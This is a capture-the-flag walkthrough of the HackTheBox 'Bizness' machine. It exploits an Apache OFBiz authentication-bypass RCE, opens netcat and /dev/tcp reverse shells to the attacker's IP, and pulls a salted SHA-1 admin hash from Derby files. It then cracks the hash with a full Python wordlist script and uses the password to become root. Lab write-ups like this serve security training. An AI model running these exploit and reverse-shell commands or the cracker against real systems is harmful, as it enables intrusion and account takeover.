Bizness – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
Bizness is an easy box/machine from HackTheBox. Through a simple scan for hidden directories we note that this server is running a vulnerable Apache OFBiz
version that allows Remote Code Execution
. Once inside the machine we can search for data inside files and, eventually, reach an encrypted password. Using these encrypted credentials, along with typical password dictionaries, we are able to find the root
user password.
User Link to heading
Nmap
scan shows 4 ports open: 22
SSH
, 80
HTTP
, 443
HTTPs
, and 46513
an unknown service.
❯ sudo nmap -sVC -p22,80,443,46513 10.10.11.252 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 21:59 -04
Nmap scan report for 10.10.11.252
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
46513/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
From the scan I notice that port 80
HTTP
is redirecting to bizness.htb
, so I add this domain to my /etc/hosts
file:
❯ echo '10.10.11.252 bizness.htb' | sudo tee -a /etc/hosts
Once added we can visit https://bizness.htb
and we can see the following webpage:
Many of the buttons from the webpage do not work, so I will attempt a Brute Force Directory Listing
with Gobuster
to find some directories:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb -t 55 -k --exclude-length 0
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://bizness.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control (Status: 200) [Size: 34633]
/http%3A%2F%2Fwww (Status: 400) [Size: 841]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 841]
/http%3A%2F%2Fblogs (Status: 400) [Size: 841]
/http%3A%2F%2Fblog (Status: 400) [Size: 841]
/**http%3A%2F%2Fwww (Status: 400) [Size: 841]
/External%5CX-News (Status: 400) [Size: 795]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 841]
/http%3A%2F%2Fradar (Status: 400) [Size: 841]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 841]
/http%3A%2F%2Fweblog (Status: 400) [Size: 841]
/http%3A%2F%2Fswik (Status: 400) [Size: 841]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
where, without including false positives, we find a /control
directory.
Visiting this site, https://bizness.htb/control
, shows the following:
where we can see we are against an Apache
server, more specifically OFBiz
project.
Searching for more directories within /control
, but this time filtering by some false positives (that had a length between 34000
and 35000
), we find more pages:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb/control -t 55 -k --exclude-length 34000-35000
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://bizness.htb/control
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: <SNIP>
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 11061]
/main (Status: 200) [Size: 9309]
/help (Status: 200) [Size: 10757]
/view (Status: 200) [Size: 9309]
/logout (Status: 200) [Size: 10757]
/views (Status: 200) [Size: 9309]
/forgotPassword (Status: 200) [Size: 11061]
If we visit https://bizness.htb//control/login
we can see a login page:
where, as can be observed from the image, at the bottom right it says that the version is 18.12
for Apache
OFBiz
.
Searching for exploits for this version shows 2 vulnerabilities: CVE-2023-49070
and CVE-2023-51467
(see, for example, this blog). This vulnerability has been flagged as critical since it could allow unauthenticated Remote Code Execution
(RCE
).
I find this Github repository for these vulnerabilities. I clone it into my machine running:
❯ git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git
Cloning into 'Apache-OFBiz-Authentication-Bypass'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 19 (delta 3), reused 7 (delta 1), pack-reused 5
Receiving objects: 100% (19/19), 51.44 MiB | 17.24 MiB/s, done.
Resolving deltas: 100% (3/3), done.
❯ cd Apache-OFBiz-Authentication-Bypass
To first check the exploit works and we a Remote Code Execution
, I first start listening to ICMP
traces with tcpdump
:
❯ sudo tcpdump -ni tun0 icmp
where tun0
is HackTheBox
net interface.
Then, run the exploit sending a ping
command against my attacker machine with IP 10.10.16.6
:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'ping -c1 10.10.16.6'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
and in my tcpdump
listener I get:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:14:05.107660 IP 10.10.11.252 > 10.10.16.6: ICMP echo request, id 9015, seq 1, length 64
23:14:05.107676 IP 10.10.16.6 > 10.10.11.252: ICMP echo reply, id 9015, seq 1, length 64
so this exploit works.
I start a netcat
listener on port 443
on my attacker machine:
❯ nc -lvnp 443
listening on [any] 443 ...
and, in another panel/window, I run the exploit sending a reverse shell to my machine:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
but this does not work. So instead of attempting to send a reverse shell with bash -i
, I will try to do this with netcat
, running the exploit with:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'nc 10.10.16.6 443 -e /bin/bash'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
and in netcat
listener I get a shell as ofbiz
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.252] 40808
whoami
ofbiz
where we can get the user flag at /home/ofbiz
directory.
Root Link to heading
After searching some files from /opt/ofbiz
directory we reach the directory /opt/ofbiz/framework/resources
. Inside this directory we have some interesting files:
ofbiz@bizness:/opt/ofbiz/framework/resources$ cd /opt/ofbiz/framework/resources/templates
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ ls -la
total 112
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 .
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 1351 Oct 13 2023 AdminNewTenantData-Derby.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1368 Oct 13 2023 AdminNewTenantData-MySQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 2023 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 2023 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13 2023 AdminUserLoginData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13 2023 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 3279 Oct 13 2023 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13 2023 controller.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 2023 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 2023 document.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1333 Oct 13 2023 entitymodel.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1028 Oct 13 2023 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 2023 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 806 Oct 13 2023 index.jsp
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13 2023 Menus.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2892 Oct 13 2023 ofbiz-component.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 187 Oct 13 2023 README.txt
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13 2023 Screens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1704 Oct 13 2023 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1666 Oct 13 2023 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1318 Oct 13 2023 services.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 2023 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 2023 TypeData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2195 Oct 13 2023 UiLabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13 2023 web.xml
If we check the file AdminUserLoginData.xml
it shows something:
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
<entity-engine-xml>
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
apparently, there is a password hash: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a
Copying this hash and checking its type with hash-identifier
confirms that is is a SHA
hash type:
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
However, attempting a Brute Force Password Cracking
does not work for this hash.
I start looking for more SHA
hashes with grep
:
ofbiz@bizness:/opt/ofbiz$ grep -rE '\$SHA'
grep: runtime/data/derby/ofbiz/seg0/c54d0.dat: binary file matches
grep: runtime/data/derby/ofbiz/seg0/c6650.dat: binary file matches
grep: .gradle/5.0-rc-5/javaCompile/classAnalysis.bin: binary file matches
grep: build/distributions/ofbiz.tar: binary file matches
gradle/init-gradle-wrapper.sh: echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
docker/docker-entrypoint.sh: SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
docker/docker-entrypoint.sh: SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
docker/docker-entrypoint.sh: ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
Checking the first 2 files where the string $SHA
was found with strings
shows:
ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c6650.dat
system
&6)]
system
anonymous
admin
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
and
ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c54d0.dat
8501
<?xml version="1.0" encoding="UTF-8"?>
<ofbiz-ser>
<map-HashMap>
<map-Entry>
<map-Key>
<std-String value="recurrenceInfoId"/>
</map-Key>
<map-Value>
<std-String value="400"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ofbiz-ser>
10000
J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
<map-HashMap>
<map-Entry>
<map-Key>
<std-String value="updatedUserLogin"/>
</map-Key>
<map-Value>
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
</map-Value>
</map-Entry>
<map-Entry>
<map-Key>
<std-String value="locale"/>
</map-Key>
<map-Value>
<std-Locale value="en"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ofbiz-ser>
where we have another hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
.
Based on OFBiz encryption documentation we could see that d
is the “salt” for the hash based on the portion code:
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
We create a simple Python
script that requires a salt, a hash and a wordlist. In our case we have the salt d
, the hash uP0_QaVBpDWFeo8-dRzDqRwXQ2I=
(adding a =
char at the end of it) and use the wordlist/dictionary rockyou
(which can be downloaded from this link). Our script is:
#!/usr/bin/python3
import hashlib
import base64
import argparse
import sys
def percentage(number: int, total: int)->float:
return (number/total) * 100.
def total_line_lengths(file_path: str)->int:
total_length: int = 0
with open(file_path, 'r', encoding='latin-1') as file:
for line in file:
total_length += len(line)
return total_length
def crypt_password(salt, password):
return hashlib.sha1((salt + password).encode('utf-8')).digest()
def crack_password(salt: str, hash: str, wordlist: str)->str|None:
total_lines = total_line_lengths(wordlist)
with open(wordlist, 'r', encoding='latin-1') as f:
for index, password in enumerate(f):
password = password.strip()
hashed_password = base64.urlsafe_b64encode(crypt_password(salt, password)).decode('utf-8').replace('+', '.')
print(f"[+] Attempting to crack password... ({index+1}/{total_lines} - {percentage(index+1, total_lines):.2f}%)", end="\r")
if hashed_password == hash:
print()
return password
return None
def parse_arguments()->argparse.Namespace:
# Parse command line arguments
parser = argparse.ArgumentParser(description='Crack SHA-1 hashed password',
epilog=f'Example usage:python3 {sys.argv[0]} --salt "d" --hash "<SHA1-hash>" --wordlist "/usr/share/wordlists/rockyou.txt"',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--sha1', type=str, help='SHA-1 hash to crack', required=True)
parser.add_argument('--salt', type=str, help='Hash salt', required=True)
parser.add_argument('--wordlist', type=str, help='Dictionary to attempt to crack password', required=True)
args = parser.parse_args()
return args
def main()->None:
# Get arguments from user
args = parse_arguments()
# Attempt to crack the password
password = crack_password(args.salt, args.sha1, args.wordlist)
# And display the result (if there is a result)
if password:
print(f"[+] Password found: {password}")
sys.exit(0)
print("[!] Could not find a password")
sys.exit(1)
if __name__ == "__main__":
main()
and running it we get:
❯ python3 sha1_decryptor.py --sha1 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' --salt 'd' --wordlist '/usr/share/wordlists/rockyou.txt'
[+] Attempting to crack password... (1478438/139921507 - 1.06%)
[+] Password found: monkeybizness
so we have a password: monkeybizness
From the terminal inside the target machine we can then just try to change to root
user running su root
and provide the password monkeybizness
:
ofbiz@bizness:/opt/ofbiz$ su root
Password:
root@bizness:/opt/ofbiz# whoami
root
And we are done. We can read the root
flag at /root
directory.